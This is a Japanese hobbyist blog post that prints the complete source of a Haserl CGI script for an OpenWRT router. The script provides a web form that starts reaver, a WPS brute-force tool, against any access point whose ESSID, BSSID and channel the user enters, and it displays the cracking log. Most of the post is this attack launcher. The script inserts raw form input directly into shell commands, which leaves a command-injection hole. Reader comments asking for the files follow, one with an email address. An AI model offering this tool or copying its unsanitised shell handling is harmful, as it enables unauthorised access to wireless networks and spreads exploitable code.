SSブログ

【Buffalo WHR-G300N OpenWRT Reaver WebUI プログラム(試作)】 [OpenWRT/DD-WRT]

前にこの無線ルータでは,OpenWRT のビルドと reaver の実行に成功している。
Buffalo WHR-G300N の OpenWRT ビルドと reaver-wps

Haserl は,シェルスクリプトを使って cgi web スクリプトが作成できる。
reaver を web で実行するプログラムを作ってみた。
パソコンを WHR-G300N の LAN I/F に接続して,http://192.168.1.1/cgi-bin/r.cgi で接続する。
ターゲット AP の essid,mac(bssid),チャンネルを入力して実行すると,reaver がバックグラウンド起動する。
*** Reaver Web UI *** 

reaver14

reaver15

作成した haserl の cgi プログラムは,OpenWrt 上の /www/cgi-bin/r.cgi。
実行属性を追加する。 (chmod a+x r.cgi) 
*** プログラム r.cgi ***

#!/usr/bin/haserl
content-type: text/html
<html>
<body>
<form action="<? echo -n $SCRIPT_NMAE ?>" method="POST">
<h1>Reaver Web UI Form</h1>
<input type=hidden name=action value=post>
<? #ストップでreaverをkillしてmon0を削除,ログもクリア
   if [ "$GET_halt" = "on" ]; then
      echo -n "<pre>"
      pkill -f reaver
      rm /tmp/reaverlog
      airmon-ng stop mon0
      echo -n "<p>Reaver Stopped</p></pre>"
   fi
?>
<p>__essid_: <input type=text name=essid value="<? echo -n $FORM_essid ?>" size=20></p>
<p>__MAC_: <input type=text name=mac value="<? echo -n $FORM_mac ?>" size=20></p>
<p>channel: <input type=text name=ch value="<? echo -n $FORM_ch ?>" size=2></p>
<pre>
<? # ポストされたらreaverを実行
   if [ "$FORM_action" = "post" ]; then
       if ! [ -f /tmp/reaverlog ]; then
          iwconfig wlan0 essid $FORM_essid channel $FORM_ch
          ifconfig wlan0 up
          airmon-ng start wlan0
          reaver -i mon0 -b $FORM_mac -D -c $FORM_ch -o /tmp/reaverlog -vv
       fi
       tail -n 20 /tmp/reaverlog
?>
    </pre>
    <p><input type=submit value="Reload">
    <input type=button value="Stop" onClick="location.href='r.cgi?halt=on'"></p>
<? else ?>
    <p><input type=submit value="Start"></p>
<? fi ?>
</form>
</body>
</html>

<? ~ ?> のところに,リナックスのコマンドが書ける。$FORM_xxx で post されたフォームデータが参照できる。  

参考: OpenWrt / How do i get haserl to work?
       http://haserl.sourceforge.net/

reaver は,-o [file名]でファイル出力できる。また –D でデーモン起動できる。リロードした時に tail でログファイルを表示する。
エラー判定もしてないし,まだ試作段階なので,もっと工夫が必要だ。
haserl の情報はすごく少ないが,OpenWrt の X-Wrt(web管理画面)で使われているらしい。


nice!(3)  コメント(2)  トラックバック(0) 

nice! 3

コメント 2

Hung

Please give me r.cgi and w.cgi file. I try did but not ok.
thank you very much. Sorry my english.
My email: ttgdtxq9@gmail.com
by Hung (2014-07-05 22:36) 

huang

Hi,there.
Where is that w.cgi script in your youtube video?
by huang (2015-03-18 01:09) 

コメントを書く

お名前:
URL:
コメント:
画像認証:
下の画像に表示されている文字を入力してください。

Facebook コメント

トラックバック 0

この広告は前回の更新から一定期間経過したブログに表示されています。更新すると自動で解除されます。